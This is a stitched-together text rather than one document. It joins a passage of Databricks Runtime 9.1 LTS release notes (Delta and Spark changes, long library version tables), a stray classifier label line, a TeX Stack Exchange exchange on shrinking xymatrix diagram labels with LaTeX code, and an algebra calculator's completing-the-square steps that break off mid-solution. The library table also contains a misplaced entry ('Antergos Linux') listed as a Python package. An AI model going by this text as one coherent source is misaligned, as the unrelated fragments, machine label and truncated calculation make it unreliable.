"description" : "KafkaV2[Subscribe[topic-0]]",
"metrics":{
"avgOffsetsBehindLatest" : "1.0",
"estimatedTotalBytesBehindLatest" : "80.0", // new
"maxOffsetsBehindLatest" : "1",
"minOffsetsBehindLatest" : "1"
} ],
....
}
For structs inside of arrays, Delta MERGE INTO now resolves struct fields by name and evolves struct schemas
Delta MERGE INTO now supports resolution of struct fields by name and automatic schema evolution for arrays of structs. When automatic schema evolution is enabled by setting spark.databricks.delta.schema.autoMerge.enabled to true, UPDATE and INSERT clauses will resolve struct fields inside of an array by name, casting to the corresponding data type that is defined in the target array and filling additional or missing fields in the source or target with null values. When automatic schema evolution is disabled, UPDATE and INSERT clauses will resolve struct fields inside of an array by name but will not be able to evolve the additional fields. See Automatic schema evolution for arrays of structs.
Bug fixes
• Fixed a memory leak in the Amazon S3 connector that could happen in long running jobs or services, which was caused by JVM DeleteOnExit functionality.
Library upgrades
• Upgraded Python libraries:
• plotly from 4.14.3 to 5.1.0
• Upgraded R libraries:
• base from 4.1.0 to 4.1.1
• bslib from 0.2.5.1 to 0.3.0
• cachem from 1.0.5 to 1.0.6
• compiler from 4.1.0 to 4.1.1
• datasets from 4.1.0 to 4.1.1
• future from 1.21.0 to 1.22.1
• gert from 1.3.1 to 1.3.2
• graphics from 4.1.0 to 4.1.1
• grDevices from 4.1.0 to 4.1.1
• grid from 4.1.0 to 4.1.1
• Upgraded Java libraries:
• org.eclipse.jetty from 9.4.36.v20210114 to 9.4.42.v20210604
Apache Spark
Databricks Runtime 9.1 LTS includes Apache Spark 3.1.2. This release includes all Spark fixes and improvements included in Databricks Runtime 9.0 (Unsupported), as well as the following additional bug fixes and improvements made to Spark:
• [SPARK-36674][SQL][CHERRY-PICK] Support ILIKE - case insensitive LIKE
• [SPARK-36353][SQL][3.1] RemoveNoopOperators should keep output schema
• [SPARK-35876][SQL][3.1] ArraysZip should retain field names to avoid being re-written by analyzer/optimizer
• [SPARK-36398][SQL] Redact sensitive information in Spark Thrift Server log
• [SPARK-36498][SQL] Reorder inner fields of the input query in byName V2 write
• [SPARK-36614][CORE][UI] Correct executor loss reason caused by decommission in UI
• [SPARK-36012][SQL] Add null flag in SHOW CREATE TABLE
• [SPARK-36509][CORE] Fix the issue that executors are never re-scheduled if the worker stops with standalone cluster
• [SPARK-36603][CORE] Use WeakReference not SoftReference in LevelDB
• [SPARK-36564][CORE] Fix NullPointerException in LiveRDDDistribution.toApi
• [SPARK-36086][SQL][3.1] CollapseProject project replace alias should use origin column name
• [SPARK-33527][SQL] Extend the function of decode so as consistent with mainstream databases
• [SPARK-36400][SPARK-36398][SQL][WEBUI] Make ThriftServer recognize spark.sql.redaction.string.regex
• [SPARK-34054][CORE] BlockManagerDecommissioner code cleanup
• [SPARK-36500][CORE] Fix temp_shuffle file leaking when a task is interrupted
• [SPARK-36489][SQL] Aggregate functions over no grouping keys, on tables with a single bucket, return multiple rows
• [SPARK-36464][CORE] Fix Underlying Size Variable Initialization in ChunkedByteBufferOutputStream for Writing Over 2GB Data
• [SPARK-36339][SQL][3.0] References to grouping that not part of aggregation should be replaced
• [SPARK-36354][CORE] EventLogFileReader should skip rolling event log directories with no logs
• [SPARK-36242][CORE][3.1] Ensure spill file closed before set success = true in ExternalSorter.spillMemoryIteratorToDisk method
• [SPARK-36211][PYTHON] Correct typing of udf return value
• [SPARK-34222][SQL] Enhance boolean simplification rule
• [SPARK-35027][CORE] Close the inputStream in FileAppender when writin…
• [SPARK-36269][SQL] Fix only set data columns to Hive column names config
• [SPARK-36213][SQL] Normalize PartitionSpec for Describe Table Command with PartitionSpec
• [SPARK-36210][SQL] Preserve column insertion order in Dataset.withColumns
• [SPARK-36079][SQL] Null-based filter estimate should always be in the range [0, 1]
• [SPARK-28266][SQL] convertToLogicalRelation should not interpret path property when reading Hive tables
System environment
• Operating System: Ubuntu 20.04.4 LTS
• Java: Zulu 8.56.0.21-CA-linux64
• Scala: 2.12.10
• Python: 3.8.10
• R: 4.1.1
• Delta Lake: 1.0.0
Installed Python libraries
Library
Version
Library
Version
Library
Version
Antergos Linux
2015.10 (ISO-Rolling)
appdirs
1.4.4
backcall
0.2.0
boto3
1.16.7
botocore
1.19.7
certifi
2020.12.5
chardet
4.0.0
cycler
0.10.0
Cython
0.29.23
dbus-python
1.2.16
decorator
5.0.6
distlib
0.3.2
distro-info
0.23ubuntu1
facets-overview
1.0.0
filelock
3.0.12
idna
2.10
ipykernel
5.3.4
ipython
7.22.0
ipython-genutils
0.2.0
jedi
0.17.2
jmespath
0.10.0
joblib
1.0.1
jupyter-client
6.1.12
jupyter-core
4.7.1
kiwisolver
1.3.1
koalas
1.8.1
matplotlib
3.4.2
numpy
1.19.2
pandas
1.2.4
parso
0.7.0
patsy
0.5.1
pexpect
4.8.0
pickleshare
0.7.5
Pillow
8.2.0
pip
21.0.1
plotly
5.1.0
prompt-toolkit
3.0.17
protobuf
3.17.2
psycopg2
2.8.5
ptyprocess
0.7.0
pyarrow
4.0.0
Pygments
2.8.1
PyGObject
3.36.0
pyparsing
2.4.7
python-apt
2.0.0+ubuntu0.20.4.5
python-dateutil
2.8.1
pytz
2020.5
pyzmq
20.0.0
requests
2.25.1
requests-unixsocket
0.2.0
s3transfer
0.3.7
scikit-learn
0.24.1
scipy
1.6.2
seaborn
0.11.1
setuptools
52.0.0
six
1.15.0
ssh-import-id
5.10
statsmodels
0.12.2
tenacity
8.0.1
threadpoolctl
2.1.0
tornado
6.1
traitlets
5.0.5
unattended-upgrades
0.1
urllib3
1.25.11
virtualenv
20.4.1
wcwidth
0.2.5
wheel
0.36.2
Installed R libraries
R libraries are installed from the Microsoft CRAN snapshot on 2021-09-08.
Library
Version
Library
Version
Library
Version
askpass
1.1
assertthat
0.2.1
backports
1.2.1
base
4.1.1
base64enc
0.1-3
bit
4.0.4
bit64
4.0.5
blob
1.2.2
boot
1.3-28
brew
1.0-6
brio
1.1.2
broom
0.7.9
bslib
0.3.0
cachem
1.0.6
callr
3.7.0
caret
6.0-88
cellranger
1.1.0
chron
2.3-56
class
7.3-19
cli
3.0.1
clipr
0.7.1
cluster
2.1.2
codetools
0.2-18
colorspace
2.0-2
commonmark
1.7
compiler
4.1.1
config
0.3.1
cpp11
0.3.1
crayon
1.4.1
credentials
1.3.1
curl
4.3.2
data.table
1.14.0
datasets
4.1.1
DBI
1.1.1
dbplyr
2.1.1
desc
1.3.0
devtools
2.4.2
diffobj
0.3.4
digest
0.6.27
dplyr
1.0.7
dtplyr
1.1.0
ellipsis
0.3.2
evaluate
0.14
fansi
0.5.0
farver
2.1.0
fastmap
1.1.0
forcats
0.5.1
foreach
1.5.1
foreign
0.8-81
forge
0.2.0
fs
1.5.0
future
1.22.1
future.apply
1.8.1
gargle
1.2.0
generics
0.1.0
gert
1.3.2
ggplot2
3.3.5
gh
1.3.0
gitcreds
0.1.1
glmnet
4.1-2
globals
0.14.0
glue
1.4.2
googledrive
2.0.0
googlesheets4
1.0.0
gower
0.2.2
graphics
4.1.1
grDevices
4.1.1
grid
4.1.1
gridExtra
2.3
gsubfn
0.7
gtable
0.3.0
haven
2.4.3
highr
0.9
hms
1.1.0
htmltools
0.5.2
htmlwidgets
1.5.3
httpuv
1.6.2
httr
1.4.2
hwriter
1.3.2
hwriterPlus
1.0-3
ids
1.0.1
ini
0.3.1
ipred
0.9-11
isoband
0.2.5
iterators
1.0.13
jquerylib
0.1.4
jsonlite
1.7.2
KernSmooth
2.23-20
knitr
1.33
labeling
0.4.2
later
1.3.0
lattice
0.20-44
lava
1.6.10
lifecycle
1.0.0
listenv
0.8.0
lubridate
1.7.10
magrittr
2.0.1
markdown
1.1
MASS
7.3-54
Matrix
1.3-4
memoise
2.0.0
methods
4.1.1
mgcv
1.8-36
mime
0.11
ModelMetrics
1.2.2.2
modelr
0.1.8
munsell
0.5.0
nlme
3.1-152
nnet
7.3-16
numDeriv
2016.8-1.1
openssl
1.4.5
parallel
4.1.1
parallelly
1.27.0
pillar
1.6.2
pkgbuild
1.2.0
pkgconfig
2.0.3
pkgload
1.2.1
plogr
0.2.0
plyr
1.8.6
praise
1.0.0
prettyunits
1.1.1
pROC
1.18.0
processx
3.5.2
prodlim
2019.11.13
progress
1.2.2
progressr
0.8.0
promises
1.2.0.1
proto
1.0.0
ps
1.6.0
purrr
0.3.4
r2d3
0.2.5
R6
2.5.1
randomForest
4.6-14
rappdirs
0.3.3
rcmdcheck
1.3.3
RColorBrewer
1.1-2
Rcpp
1.0.7
readr
2.0.1
readxl
1.3.1
recipes
0.1.16
rematch
1.0.1
rematch2
2.1.2
remotes
2.4.0
reprex
2.0.1
reshape2
1.4.4
rlang
0.4.11
rmarkdown
2.10
RODBC
1.3-18
roxygen2
7.1.1
rpart
4.1-15
rprojroot
2.0.2
Rserve
1.8-8
RSQLite
2.2.8
rstudioapi
0.13
rversions
2.1.1
rvest
1.0.1
sass
0.4.0
scales
1.1.1
selectr
0.4-2
sessioninfo
1.1.1
shape
1.4.6
shiny
1.6.0
sourcetools
0.1.7
sparklyr
1.7.1
SparkR
3.1.1
spatial
7.3-11
splines
4.1.1
sqldf
0.4-11
SQUAREM
2021.1
stats
4.1.1
stats4
4.1.1
stringi
1.7.4
stringr
1.4.0
survival
3.2-13
sys
3.4
tcltk
4.1.1
TeachingDemos
2.10
testthat
3.0.4
tibble
3.1.4
tidyr
1.1.3
tidyselect
1.1.1
tidyverse
1.3.1
timeDate
3043.102
tinytex
0.33
tools
4.1.1
tzdb
0.1.2
usethis
2.0.1
utf8
1.2.2
utils
4.1.1
uuid
0.1-4
vctrs
0.3.8
viridisLite
0.4.0
vroom
1.5.4
waldo
0.3.0
whisker
0.4
withr
2.4.2
xfun
0.25
xml2
1.3.2
xopen
1.0.0
xtable
1.8-4
yaml
2.2.1
zip
2.2.0
Installed Java and Scala libraries (Scala 2.12 cluster version)
Group ID
Artifact ID
Version
antlr
antlr
2.7.7
com.amazonaws
amazon-kinesis-client
1.12.0
com.amazonaws
aws-java-sdk-autoscaling
1.11.655
com.amazonaws
aws-java-sdk-cloudformation
1.11.655
com.amazonaws
aws-java-sdk-cloudfront
1.11.655
com.amazonaws
aws-java-sdk-cloudhsm
1.11.655
com.amazonaws
aws-java-sdk-cloudsearch
1.11.655
com.amazonaws
aws-java-sdk-cloudtrail
1.11.655
com.amazonaws
aws-java-sdk-cloudwatch
1.11.655
com.amazonaws
aws-java-sdk-cloudwatchmetrics
1.11.655
com.amazonaws
aws-java-sdk-codedeploy
1.11.655
com.amazonaws
aws-java-sdk-cognitoidentity
1.11.655
com.amazonaws
aws-java-sdk-cognitosync
1.11.655
com.amazonaws
aws-java-sdk-config
1.11.655
com.amazonaws
aws-java-sdk-core
1.11.655
com.amazonaws
aws-java-sdk-datapipeline
1.11.655
com.amazonaws
aws-java-sdk-directconnect
1.11.655
com.amazonaws
aws-java-sdk-directory
1.11.655
com.amazonaws
aws-java-sdk-dynamodb
1.11.655
com.amazonaws
aws-java-sdk-ec2
1.11.655
com.amazonaws
aws-java-sdk-ecs
1.11.655
com.amazonaws
aws-java-sdk-efs
1.11.655
com.amazonaws
aws-java-sdk-elasticache
1.11.655
com.amazonaws
aws-java-sdk-elasticbeanstalk
1.11.655
com.amazonaws
aws-java-sdk-elasticloadbalancing
1.11.655
com.amazonaws
aws-java-sdk-elastictranscoder
1.11.655
com.amazonaws
aws-java-sdk-emr
1.11.655
com.amazonaws
aws-java-sdk-glacier
1.11.655
com.amazonaws
aws-java-sdk-glue
1.11.655
com.amazonaws
aws-java-sdk-iam
1.11.655
com.amazonaws
aws-java-sdk-importexport
1.11.655
com.amazonaws
aws-java-sdk-kinesis
1.11.655
com.amazonaws
aws-java-sdk-kms
1.11.655
com.amazonaws
aws-java-sdk-lambda
1.11.655
com.amazonaws
aws-java-sdk-logs
1.11.655
com.amazonaws
aws-java-sdk-machinelearning
1.11.655
com.amazonaws
aws-java-sdk-marketplacecommerceanalytics
1.11.655
com.amazonaws
aws-java-sdk-marketplacemeteringservice
1.11.655
com.amazonaws
aws-java-sdk-opsworks
1.11.655
com.amazonaws
aws-java-sdk-rds
1.11.655
com.amazonaws
aws-java-sdk-redshift
1.11.655
com.amazonaws
aws-java-sdk-route53
1.11.655
com.amazonaws
aws-java-sdk-s3
1.11.655
com.amazonaws
aws-java-sdk-ses
1.11.655
com.amazonaws
aws-java-sdk-simpledb
1.11.655
com.amazonaws
aws-java-sdk-simpleworkflow
1.11.655
com.amazonaws
aws-java-sdk-sns
1.11.655
com.amazonaws
aws-java-sdk-sqs
1.11.655
com.amazonaws
aws-java-sdk-ssm
1.11.655
com.amazonaws
aws-java-sdk-storagegateway
1.11.655
com.amazonaws
aws-java-sdk-sts
1.11.655
com.amazonaws
aws-java-sdk-support
1.11.655
com.amazonaws
aws-java-sdk-swf-libraries
1.11.22
com.amazonaws
aws-java-sdk-workspaces
1.11.655
com.amazonaws
jmespath-java
1.11.655
com.chuusai
shapeless_2.12
2.3.3
com.clearspring.analytics
stream
2.9.6
com.databricks
Rserve
1.8-3
com.databricks
jets3t
0.7.1-0
com.databricks.scalapb
compilerplugin_2.12
0.4.15-10
com.databricks.scalapb
scalapb-runtime_2.12
0.4.15-10
com.esotericsoftware
kryo-shaded
4.0.2
com.esotericsoftware
minlog
1.3.0
com.fasterxml
classmate
1.3.4
com.fasterxml.jackson.core
jackson-annotations
2.10.0
com.fasterxml.jackson.core
jackson-core
2.10.0
com.fasterxml.jackson.core
jackson-databind
2.10.0
com.fasterxml.jackson.dataformat
jackson-dataformat-cbor
2.10.0
com.fasterxml.jackson.datatype
jackson-datatype-joda
2.10.0
com.fasterxml.jackson.module
jackson-module-paranamer
2.10.0
com.fasterxml.jackson.module
jackson-module-scala_2.12
2.10.0
com.github.ben-manes.caffeine
caffeine
2.3.4
com.github.fommil
jniloader
1.1
com.github.fommil.netlib
core
1.1.2
com.github.fommil.netlib
native_ref-java
1.1
com.github.fommil.netlib
native_ref-java-natives
1.1
com.github.fommil.netlib
native_system-java
1.1
com.github.fommil.netlib
native_system-java-natives
1.1
com.github.fommil.netlib
netlib-native_ref-linux-x86_64-natives
1.1
com.github.fommil.netlib
netlib-native_system-linux-x86_64-natives
1.1
com.github.joshelser
dropwizard-metrics-hadoop-metrics2-reporter
0.1.2
com.github.luben
zstd-jni
1.4.8-1
com.github.wendykierp
JTransforms
3.1
com.google.code.findbugs
jsr305
3.0.0
com.google.code.gson
gson
2.2.4
com.google.crypto.tink
tink
1.6.0
com.google.flatbuffers
flatbuffers-java
1.9.0
com.google.guava
guava
15.0
com.google.protobuf
protobuf-java
2.6.1
com.h2database
h2
1.4.195
com.helger
profiler
1.1.1
com.jcraft
jsch
0.1.50
com.jolbox
bonecp
0.8.0.RELEASE
com.lihaoyi
sourcecode_2.12
0.1.9
com.microsoft.azure
azure-data-lake-store-sdk
2.3.9
com.microsoft.sqlserver
mssql-jdbc
9.2.1.jre8
com.ning
compress-lzf
1.0.3
com.sun.mail
javax.mail
1.5.2
com.tdunning
json
1.8
com.thoughtworks.paranamer
paranamer
2.8
com.trueaccord.lenses
lenses_2.12
0.4.12
com.twitter
chill-java
0.9.5
com.twitter
chill_2.12
0.9.5
com.twitter
util-app_2.12
7.1.0
com.twitter
util-core_2.12
7.1.0
com.twitter
util-function_2.12
7.1.0
com.twitter
util-jvm_2.12
7.1.0
com.twitter
util-lint_2.12
7.1.0
com.twitter
util-registry_2.12
7.1.0
com.twitter
util-stats_2.12
7.1.0
com.typesafe
config
1.2.1
com.typesafe.scala-logging
scala-logging_2.12
3.7.2
com.univocity
univocity-parsers
2.9.1
com.zaxxer
HikariCP
3.1.0
commons-beanutils
commons-beanutils
1.9.4
commons-cli
commons-cli
1.2
commons-codec
commons-codec
1.10
commons-collections
commons-collections
3.2.2
commons-configuration
commons-configuration
1.6
commons-dbcp
commons-dbcp
1.4
commons-digester
commons-digester
1.8
commons-fileupload
commons-fileupload
1.3.3
commons-httpclient
commons-httpclient
3.1
commons-io
commons-io
2.4
commons-lang
commons-lang
2.6
commons-logging
commons-logging
1.1.3
commons-net
commons-net
3.1
commons-pool
commons-pool
1.5.4
hive-2.3__hadoop-2.7
jets3t-0.7
liball_deps_2.12
hive-2.3__hadoop-2.7
zookeeper-3.4
liball_deps_2.12
info.ganglia.gmetric4j
gmetric4j
1.0.10
io.airlift
aircompressor
0.10
io.delta
delta-sharing-spark_2.12
0.1.0
io.dropwizard.metrics
metrics-core
4.1.1
io.dropwizard.metrics
metrics-graphite
4.1.1
io.dropwizard.metrics
metrics-healthchecks
4.1.1
io.dropwizard.metrics
metrics-jetty9
4.1.1
io.dropwizard.metrics
metrics-jmx
4.1.1
io.dropwizard.metrics
metrics-json
4.1.1
io.dropwizard.metrics
metrics-jvm
4.1.1
io.dropwizard.metrics
metrics-servlets
4.1.1
io.netty
netty-all
4.1.51.Final
io.prometheus
simpleclient
0.7.0
io.prometheus
simpleclient_common
0.7.0
io.prometheus
simpleclient_dropwizard
0.7.0
io.prometheus
simpleclient_pushgateway
0.7.0
io.prometheus
simpleclient_servlet
0.7.0
io.prometheus.jmx
collector
0.12.0
jakarta.annotation
jakarta.annotation-api
1.3.5
jakarta.validation
jakarta.validation-api
2.0.2
jakarta.ws.rs
jakarta.ws.rs-api
2.1.6
javax.activation
activation
1.1.1
javax.el
javax.el-api
2.2.4
javax.jdo
jdo-api
3.0.1
javax.servlet
javax.servlet-api
3.1.0
javax.servlet.jsp
jsp-api
2.1
javax.transaction
jta
1.1
javax.transaction
transaction-api
1.1
javax.xml.bind
jaxb-api
2.2.2
javax.xml.stream
stax-api
1.0-2
javolution
javolution
5.5.1
jline
jline
2.14.6
joda-time
joda-time
2.10.5
log4j
apache-log4j-extras
1.2.17
log4j
log4j
1.2.17
maven-trees
hive-2.3__hadoop-2.7
liball_deps_2.12
net.java.dev.jna
jna
5.8.0
net.razorvine
pyrolite
4.30
net.sf.jpam
jpam
1.1
net.sf.opencsv
opencsv
2.3
net.sf.supercsv
super-csv
2.2.0
net.snowflake
snowflake-ingest-sdk
0.9.6
net.snowflake
snowflake-jdbc
3.13.3
net.snowflake
spark-snowflake_2.12
2.9.0-spark_3.1
net.sourceforge.f2j
arpack_combined_all
0.1
org.acplt.remotetea
remotetea-oncrpc
1.1.2
org.antlr
ST4
4.0.4
org.antlr
antlr-runtime
3.5.2
org.antlr
antlr4-runtime
4.8-1
org.antlr
stringtemplate
3.2.1
org.apache.ant
ant
1.9.2
org.apache.ant
ant-jsch
1.9.2
org.apache.ant
ant-launcher
1.9.2
org.apache.arrow
arrow-format
2.0.0
org.apache.arrow
arrow-memory-core
2.0.0
org.apache.arrow
arrow-memory-netty
2.0.0
org.apache.arrow
arrow-vector
2.0.0
org.apache.avro
avro
1.8.2
org.apache.avro
avro-ipc
1.8.2
org.apache.avro
avro-mapred-hadoop2
1.8.2
org.apache.commons
commons-compress
1.20
org.apache.commons
commons-crypto
1.1.0
org.apache.commons
commons-lang3
3.10
org.apache.commons
commons-math3
3.4.1
org.apache.commons
commons-text
1.6
org.apache.curator
curator-client
2.7.1
org.apache.curator
curator-framework
2.7.1
org.apache.curator
curator-recipes
2.7.1
org.apache.derby
derby
10.12.1.1
org.apache.directory.api
api-asn1-api
1.0.0-M20
org.apache.directory.api
api-util
1.0.0-M20
org.apache.directory.server
apacheds-i18n
2.0.0-M15
org.apache.directory.server
apacheds-kerberos-codec
2.0.0-M15
org.apache.hadoop
hadoop-annotations
2.7.4
org.apache.hadoop
hadoop-auth
2.7.4
org.apache.hadoop
hadoop-client
2.7.4
org.apache.hadoop
hadoop-common
2.7.4
org.apache.hadoop
hadoop-hdfs
2.7.4
org.apache.hadoop
hadoop-mapreduce-client-app
2.7.4
org.apache.hadoop
hadoop-mapreduce-client-common
2.7.4
org.apache.hadoop
hadoop-mapreduce-client-core
2.7.4
org.apache.hadoop
hadoop-mapreduce-client-jobclient
2.7.4
org.apache.hadoop
hadoop-mapreduce-client-shuffle
2.7.4
org.apache.hadoop
hadoop-yarn-api
2.7.4
org.apache.hadoop
hadoop-yarn-client
2.7.4
org.apache.hadoop
hadoop-yarn-common
2.7.4
org.apache.hadoop
hadoop-yarn-server-common
2.7.4
org.apache.hive
hive-beeline
2.3.7
org.apache.hive
hive-cli
2.3.7
org.apache.hive
hive-jdbc
2.3.7
org.apache.hive
hive-llap-client
2.3.7
org.apache.hive
hive-llap-common
2.3.7
org.apache.hive
hive-serde
2.3.7
org.apache.hive
hive-shims
2.3.7
org.apache.hive
hive-storage-api
2.7.2
org.apache.hive.shims
hive-shims-0.23
2.3.7
org.apache.hive.shims
hive-shims-common
2.3.7
org.apache.hive.shims
hive-shims-scheduler
2.3.7
org.apache.htrace
htrace-core
3.1.0-incubating
org.apache.httpcomponents
httpclient
4.5.6
org.apache.httpcomponents
httpcore
4.4.12
org.apache.ivy
ivy
2.4.0
org.apache.mesos
mesos-shaded-protobuf
1.4.0
org.apache.orc
orc-core
1.5.12
org.apache.orc
orc-mapreduce
1.5.12
org.apache.orc
orc-shims
1.5.12
org.apache.parquet
parquet-column
1.10.1-databricks9
org.apache.parquet
parquet-common
1.10.1-databricks9
org.apache.parquet
parquet-encoding
1.10.1-databricks9
org.apache.parquet
parquet-format
2.4.0
org.apache.parquet
parquet-hadoop
1.10.1-databricks9
org.apache.parquet
parquet-jackson
1.10.1-databricks9
org.apache.thrift
libfb303
0.9.3
org.apache.thrift
libthrift
0.12.0
org.apache.xbean
xbean-asm7-shaded
4.15
org.apache.yetus
audience-annotations
0.5.0
org.apache.zookeeper
zookeeper
3.4.14
org.codehaus.jackson
jackson-core-asl
1.9.13
org.codehaus.jackson
jackson-jaxrs
1.9.13
org.codehaus.jackson
jackson-mapper-asl
1.9.13
org.codehaus.jackson
jackson-xc
1.9.13
org.codehaus.janino
commons-compiler
3.0.16
org.codehaus.janino
janino
3.0.16
org.datanucleus
datanucleus-api-jdo
4.2.4
org.datanucleus
datanucleus-core
4.1.17
org.datanucleus
datanucleus-rdbms
4.1.19
org.datanucleus
javax.jdo
3.2.0-m3
org.eclipse.jetty
jetty-client
9.4.42.v20210604
org.eclipse.jetty
jetty-continuation
9.4.42.v20210604
org.eclipse.jetty
jetty-http
9.4.42.v20210604
org.eclipse.jetty
jetty-io
9.4.42.v20210604
org.eclipse.jetty
jetty-jndi
9.4.42.v20210604
org.eclipse.jetty
jetty-plus
9.4.42.v20210604
org.eclipse.jetty
jetty-proxy
9.4.42.v20210604
org.eclipse.jetty
jetty-security
9.4.42.v20210604
org.eclipse.jetty
jetty-server
9.4.42.v20210604
org.eclipse.jetty
jetty-servlet
9.4.42.v20210604
org.eclipse.jetty
jetty-servlets
9.4.42.v20210604
org.eclipse.jetty
jetty-util
9.4.42.v20210604
org.eclipse.jetty
jetty-util-ajax
9.4.42.v20210604
org.eclipse.jetty
jetty-webapp
9.4.42.v20210604
org.eclipse.jetty
jetty-xml
9.4.42.v20210604
org.eclipse.jetty.websocket
websocket-api
9.4.42.v20210604
org.eclipse.jetty.websocket
websocket-client
9.4.42.v20210604
org.eclipse.jetty.websocket
websocket-common
9.4.42.v20210604
org.eclipse.jetty.websocket
websocket-server
9.4.42.v20210604
org.eclipse.jetty.websocket
websocket-servlet
9.4.42.v20210604
org.fusesource.leveldbjni
leveldbjni-all
1.8
org.glassfish.hk2
hk2-api
2.6.1
org.glassfish.hk2
hk2-locator
2.6.1
org.glassfish.hk2
hk2-utils
2.6.1
org.glassfish.hk2
osgi-resource-locator
1.0.3
org.glassfish.hk2.external
aopalliance-repackaged
2.6.1
org.glassfish.hk2.external
jakarta.inject
2.6.1
org.glassfish.jersey.containers
jersey-container-servlet
2.30
org.glassfish.jersey.containers
jersey-container-servlet-core
2.30
org.glassfish.jersey.core
jersey-client
2.30
org.glassfish.jersey.core
jersey-common
2.30
org.glassfish.jersey.core
jersey-server
2.30
org.glassfish.jersey.inject
jersey-hk2
2.30
org.glassfish.jersey.media
jersey-media-jaxb
2.30
org.hibernate.validator
hibernate-validator
6.1.0.Final
org.javassist
javassist
3.25.0-GA
org.jboss.logging
jboss-logging
3.3.2.Final
org.jdbi
jdbi
2.63.1
org.joda
joda-convert
1.7
org.jodd
jodd-core
3.5.2
org.json4s
json4s-ast_2.12
3.7.0-M5
org.json4s
json4s-core_2.12
3.7.0-M5
org.json4s
json4s-jackson_2.12
3.7.0-M5
org.json4s
json4s-scalap_2.12
3.7.0-M5
org.lz4
lz4-java
1.7.1
org.mariadb.jdbc
mariadb-java-client
2.2.5
org.objenesis
objenesis
2.5.1
org.postgresql
postgresql
42.1.4
org.roaringbitmap
RoaringBitmap
0.9.14
org.roaringbitmap
shims
0.9.14
org.rocksdb
rocksdbjni
6.20.3
org.rosuda.REngine
REngine
2.1.0
org.scala-lang
scala-compiler_2.12
2.12.10
org.scala-lang
scala-library_2.12
2.12.10
org.scala-lang
scala-reflect_2.12
2.12.10
org.scala-lang.modules
scala-collection-compat_2.12
2.1.1
org.scala-lang.modules
scala-parser-combinators_2.12
1.1.2
org.scala-lang.modules
scala-xml_2.12
1.2.0
org.scala-sbt
test-interface
1.0
org.scalacheck
scalacheck_2.12
1.14.2
org.scalactic
scalactic_2.12
3.0.8
org.scalanlp
breeze-macros_2.12
1.0
org.scalanlp
breeze_2.12
1.0
org.scalatest
scalatest_2.12
3.0.8
org.slf4j
jcl-over-slf4j
1.7.30
org.slf4j
jul-to-slf4j
1.7.30
org.slf4j
slf4j-api
1.7.30
org.slf4j
slf4j-log4j12
1.7.30
org.spark-project.spark
unused
1.0.0
org.springframework
spring-core
4.1.4.RELEASE
org.springframework
spring-test
4.1.4.RELEASE
org.threeten
threeten-extra
1.5.0
org.tukaani
xz
1.5
org.typelevel
algebra_2.12
2.0.0-M2
org.typelevel
cats-kernel_2.12
2.0.0-M4
org.typelevel
machinist_2.12
0.6.8
org.typelevel
macro-compat_2.12
1.1.1
org.typelevel
spire-macros_2.12
0.17.0-M1
org.typelevel
spire-platform_2.12
0.17.0-M1
org.typelevel
spire-util_2.12
0.17.0-M1
org.typelevel
spire_2.12
0.17.0-M1
org.wildfly.openssl
wildfly-openssl
1.0.7.Final
org.xerial
sqlite-jdbc
3.8.11.2
org.xerial.snappy
snappy-java
1.1.8.2
org.yaml
snakeyaml
1.24
oro
oro
2.0.8
pl.edu.icm
JLargeArrays
1.5
software.amazon.ion
ion-java
1.0.2
stax
stax-api
1.0.1
xmlenc
xmlenc
0.52 | __label__pos | 0.570548 |
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Does anyone know how to resize the names of entries which appear as vertices inside \xymatrix? I have huge commuative cubes with more then 40 inner or outer vertices and when these names become too large then one cannot distinguish the edges of diagrams between them...
share|improve this question
Welcome to TeX.sx! Usually, we don't put a greeting or a "thank you" in our posts. While this might seem strange at first, it is not a sign of lack of politeness, but rather part of our trying to keep everything very concise. Upvoting is the preferred way here to say "thank you" to users who helped you. A tip: You can use backticks ` to mark your inline code as I did in my edit. – Kurt Oct 26 '12 at 13:29
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1 Answer
here's an approach that's rather a hack, as it must be applied manually to every vertex.
\documentclass{article}
\usepackage{amsmath}
\usepackage[all]{xy}
\newcommand{\smxylabel}[1]{{\text{\small$#1$}}}
\begin{document}
This diagram has normal-sized labels.
\[
\xymatrix{%
V_1 \ar[d]_\tau \ar[r]^{\rho_1(g) } & V_1 \ar[d]^\tau \\
V_2 \ar[r]^{\rho_2(g) } & V_2
}
\]
This diagram has ``smallified'' labels, hard coded.
\[
\xymatrix{%
\text{\small$V_1$} \ar[d]_{\text{\small$\tau$}} \ar[r]^{\text{\small$\rho_1(g)$} }
& \text{\small$V_1$} \ar[d]^{\text{\small$\tau$}} \\
\text{\small$V_2$} \ar[r]^{\text{\small$\rho_2(g)$} }
& \text{\small$V_2$}
}
\]
This diagram uses a macro to shrink the labels.
\[
\xymatrix{%
\smxylabel{V_1} \ar[d]_{\smxylabel{\tau}} \ar[r]^{\smxylabel{\rho_1(g)} }
& \smxylabel{V_1} \ar[d]^{\smxylabel{\tau}} \\
\smxylabel{V_2} \ar[r]^{\smxylabel{\rho_2(g)} }
& \smxylabel{V_2}
}
\]
\end{document}
output of example code
edit: the original poster asks whether it's possible to use \objectbox. i'm not familiar with that command, and have never used it, but it's definitely available in xypic.
the way it's defined appears to correspond reasonably well to the concept of my hack. so i think it's worth a try.
share|improve this answer
Thank you for your answer very much! It improves a solution of my problem. Do you know may I also use size modifiers using \objectbox? – Igor Bakovic Oct 26 '12 at 19:45
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Home Lessons Calculators Worksheets Resources Feedback Algebra Tutors
Calculator Output
Simplifying
x2 + x + -3.75 = 0
Reorder the terms:
-3.75 + x + x2 = 0
Solving
-3.75 + x + x2 = 0
Solving for variable 'x'.
Begin completing the square.
Move the constant term to the right:
Add '3.75' to each side of the equation.
-3.75 + x + 3.75 + x2 = 0 + 3.75
Reorder the terms:
-3.75 + 3.75 + x + x2 = 0 + 3.75
Combine like terms: -3.75 + 3.75 = 0.00
0.00 + x + x2 = 0 + 3.75
x + x2 = 0 + 3.75
Combine like terms: 0 + 3.75 = 3.75
x + x2 = 3.75
The x term is x. Take half its coefficient (0.5).
Square it (0.25) and add it to both sides.
Add '0.25' to each side of the equation.
x + 0.25 + x2 = 3.75 + 0.25
Reorder the terms:
0.25 + x + x2 = 3.75 + 0.25
Combine like terms: 3.75 + 0.25 = 4
0.25 + x + x2 = 4
Factor a perfect square on the left side:
(x + 0.5)(x + 0.5) = 4
Calculate the square root of the right side: 2
Break this problem into two subproblems by setting
(x + 0.5) equal to 2 and -2.
Subproblem 1
